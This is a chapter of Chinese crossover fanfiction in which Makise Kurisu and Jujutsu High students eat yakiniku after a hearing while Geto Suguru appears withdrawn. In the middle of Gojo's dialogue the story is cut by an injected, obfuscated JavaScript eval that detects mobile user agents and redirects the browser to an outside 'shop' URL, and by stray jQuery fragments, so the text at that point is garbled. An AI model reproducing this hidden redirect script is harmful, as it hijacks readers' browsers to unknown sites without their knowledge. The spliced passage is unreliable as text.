27.脂肪、美拉德与不可逆反应

作品:《关于我靠写论文在高专活下去这件事

    走出高专那座阴冷得发霉的会议楼,东京的晚风终于有了点活人的温度。


    “去吃烤肉。”五条悟双手插在裤兜里,长腿迈得极快,头也不回地宣布。


    红莉栖还沉浸在刚才的逻辑余波里,下意识反驳:“我的实验日志还没同步,还有刚才提到的……”


    “那是明天的牧濑红莉栖该操心的事。” 五条悟猛地停下脚,转过身,墨镜滑到鼻尖,那双苍蓝色的眼睛里写满了嫌弃,“看看你现在的脸,再不吃点好的,你就快跟里面那几个烂橘子一个颜色了。”


    红莉栖张了张嘴,刚想反驳,胃部就极其不合时宜地发出了一声长鸣。


    五条悟哈地笑了一声,在空旷的走廊里显得格外欠扁。


    ---


    新宿,一家吵得要命的烤肉店。


    炭火噼啪作响,和牛的油脂滴在红炭上,激起一阵极其霸道的焦香。


    灰原雄坐在长条凳上,正不顾形象地往嘴里塞着牛舌。他那张总是充满活力的脸此刻被炭火映得通红,眼泪汪汪地感叹着:“这种时候,脂肪才是唯一的真理啊!”


    七海建人扯开了领带,翻动肉片的时间精准得像在打卡下班。


    “家入学姐,请不要直接喝大杯生啤。”七海冷静地提醒道。


    家入硝子此时已经熟练地撬开了第二瓶冰啤酒,她把一满杯推到刚入座的红莉栖面前,眯着眼笑:“别理他,来,干一杯。刚才在里面,那几个老头的脸绿得像吞了咒灵,真该拿相机拍下来。”


    红莉栖抿了一口啤酒,冰凉干爽的液体顺着食道滑下,像一把尖刀劈开了胸腔里积压了一整天的闷火:“我只是讨厌低效率的扯皮。他们想泼脏水,我就把水管接在他们嘴里。如果连可验证的事实都不认,那他们也没必要坐在那个位置上了。”


    五条悟整个人瘫在椅背上,无处安放地两条长腿随意地支着:“那些老家伙的烟斗都快被捏断了。”


    红莉栖抿唇微笑。


    在她的另一段人生中,她很小就离开了日本远赴美国哥伦比亚大学求学。清晨的咖啡、实验室的离心机声、深夜打印机吐出的论文、以及因为时差而错过的问候。她学会了把每顿饭精简成一个可预测的输入,把味道这种东西当成可有可无的噪声。她也吃过烤肉,但在纽约,那更多时候是某种被切得很厚的牛排,或是那种预包装的快餐汉堡肉。


    她知道脂肪会在火上发出声音,但她很少坐在这样的桌前,跟一群人一起等肉变熟。在那段关于时间机器的疯狂旅程里,她习惯了孤独地对抗因果律,而此刻,在咒术师这个随时可能减员的残酷职业缝隙里,这种甚至有些粗鲁的烟火气,却产生了一种极其稳定的真实感。


    “喂,别盯着那块肉发呆,焦了我可不负责。”五条悟敲了敲盘子。


    红莉栖回过神,瞪了他一眼:“我只是在等它熟透。”


    她迅速伸出筷子,赶在五条悟那只手伸过来之前,精准地将那块滋滋冒油的肉抢回了自己碗里。


    “嘿,反应变快了嘛。”五条悟挑了挑眉,没抢到肉也不恼,转而开始祸害灰原雄的盘子,“看在你今天表现不错的份上,赏你了。”


    “五条前辈!那是我的最后一块横膈膜!”灰原雄哀嚎道。


    “谁让你动作慢。在我面前,犹豫一秒就是对食物的不尊重。”五条悟理直气壮地嚼着肉,含混不清地指了指红莉栖,“学学人家,对领地的敏感度可是教科书级的。”


    七海建人慢条斯理地咽下食物,推了推眼镜,语气平静地补刀:“五条前辈,如果您能把抢夺后辈食物的精力分出一半去处理刚才会议的后续报告,我想我的加班时间能缩短至少两个小时。”


    “不要在这么好吃的肉面前提那种破坏胃口的名字,七海,会老得很快的。”五条悟笑得像个得逞的狐狸。


    硝子看着这乱哄哄的一桌人,眼神里透着点平时少见的温和。她凑近红莉栖,低声说:“虽然今天只是个暂停扩张的折中结果,但其实你已经赢了。在高专,能按着那帮老头子签下临时令的人,你是第一个。”


    红莉栖握着酒杯,看着炭火舔舐着铁网,火苗偶尔窜上来,照亮了她眼底深处的一丝忧虑。


    “那不是赢,硝子。”她轻声说道,“那只是交换。我用接受监管换取了继续存在。接下来的路才是真正的硬仗。当他们发现监管也拦不住这套体系的时候,真正的反扑才会开始。”


    她转头看向桌子的另一侧。


    夏油杰坐在那里。他今天格外沉默,虽然手里也拿着夹子在翻动肉片,但眼神却始终有些放空。那些代表着精神负荷的杂波,似乎并没有因为这顿烤肉的热气而消散。


    “喂,杰。”五条悟忽然抬手,敲了敲夏油杰那边的桌面,“你那块肉都快被你戳成肉泥了,不吃就给我。”


    红莉栖顺着五条悟的视线看过去。


    夏油杰坐在烟雾缭绕的对面,他手里拿着木筷,面前那块上等的牛小排已经被他反复翻动了十几次。听到五条悟的声音,他才像猛然惊醒般笑了笑,眼底却没有半分笑意。


    “没什么,只是在想刚才听证会的事。”夏油杰随手将肉塞进嘴里,嚼得很慢,眉头却在那个瞬间微不可察地皱了一下。


    红莉栖盯着他。在她的实验数据里,夏油杰的咒力波形里充满了无法解释的杂波。而现在,她在那张平静的脸上看到了同样的“杂波”——那是一种对食物、对热闹、甚至是对生存本身的生理性排斥。


    “不好吃吗?”红莉栖直接问道,科学家的直觉让她不喜欢任何避而不谈的误差。


    夏油杰愣了一下,随后露出一个温和而疏离的笑容:“不,很好吃。可能是最近天气太热,胃口一般。”


    “是吗。”红莉栖没有移开视线,“我看过你这段时间的代谢数据,你的身体在渴望能量,但你的大脑在拒绝摄入。这在科学上叫……”


    “喂喂,吃肉时间严禁科普!”五条悟伸手,用食指弹了一下红莉栖的额头,动作利落,“还有,杰,不想吃就喝口果汁,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278110|197968||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    别在那儿一副苦行僧的表情,很扫兴耶。”


    夏油杰低头笑笑,没再说话,但这次他确实加快了进食的速度,哪怕那看起来更像是某种机械性的吞咽任务。


    “五条。”红莉栖揉着额头,声音低了下来,“如果有一天,连流程也保不住这些东西呢?如果监管员进场后,他们用行政手段强行切断我的数据源,或者……”


    她没说下去,但大家都明白。在高专,意外总是比明天先到。


    空气静了一瞬。灰原雄停下了筷子,七海建人也抬起头。


    五条悟随手把墨镜摘下来丢在桌上,那双苍蓝色的眼睛在灯火下透着一种近乎冷酷的透明感。那是唯有站在顶端的人才会拥有的、对规则的蔑视。他咧开嘴,露出一个极其嚣张的笑。


    “那就把桌子掀了。”


    他把一块烤好的肉直接扔进红莉栖碗里,语气嚣张得理所当然:


    “听好了,红莉栖碗。搞你的逻辑,写你的规矩,那是你擅长的事。既然你说那些烂橘子必须按流程走,那你就去把那个流程做得无懈可击。”


    他倾过身,带着一种绝对主导的压迫感:


    “至于那些流程管不到的疯子,或者想在规则外面掀你桌子的垃圾……老子会教他们怎么闭嘴。你只管去做你认为正确的事,剩下的烂摊子,我一个人就能摆平。明白了吗?”


    红莉栖怔了怔。


    她看着这个不可一世的少年。他明明那么轻佻、那么不讲理、连吃个烤肉都要抢别人的,但他坐在这里,就仿佛形成了一个物理意义上的绝对领域。他把外面那个崩坏的、陈腐的、充满诅咒的世界,硬生生地挡在了这家吵闹的烤肉店门外。


    “……真是无可救药的狂妄。”


    红莉栖小声嘟囔了一句,嘴角却不自觉地勾起一个细小的弧度。她重新拿起夹子,指着那块刚放上去的、纹理最漂亮的牛里脊。


    “这一块,谁也不许抢。这是科学家的劳动所得。”


    “哈?你那是霸权主义!” 五条悟抗议。


    “这是规则,五条。”红莉栖扬了扬下巴。


    新宿的夜色渐深,烤肉店的喧嚣还在继续。红莉栖看着身边的伙伴们,正在努力抢肉的灰原、一脸无奈的七海、自顾自喝酒的硝子,以及在那双苍蓝色眼睛注视下,勉强多吃了几口的夏油杰。


    她握紧了手中的酒杯。


    不可逆的化学反应已经开始了。无论未来如何,无论那些腐朽的高层准备了什么样的后招,至少在这个被脂肪香气包围的夜晚,他们还站在一起。


    只要数据还在跑,只要逻辑还没断,只要那个白发蓝眼的疯子还在这里——


    这场仗,就还没输。


    “喂,红莉栖!这块真的焦了!”


    “闭嘴,那是美拉德反应的极致阶段!”


    “你这家伙……绝对是科学中毒了吧!”


    在一片混乱的争吵声中,红莉栖仰头喝完了杯子里最后一点啤酒。冰凉、苦涩,却回味无穷。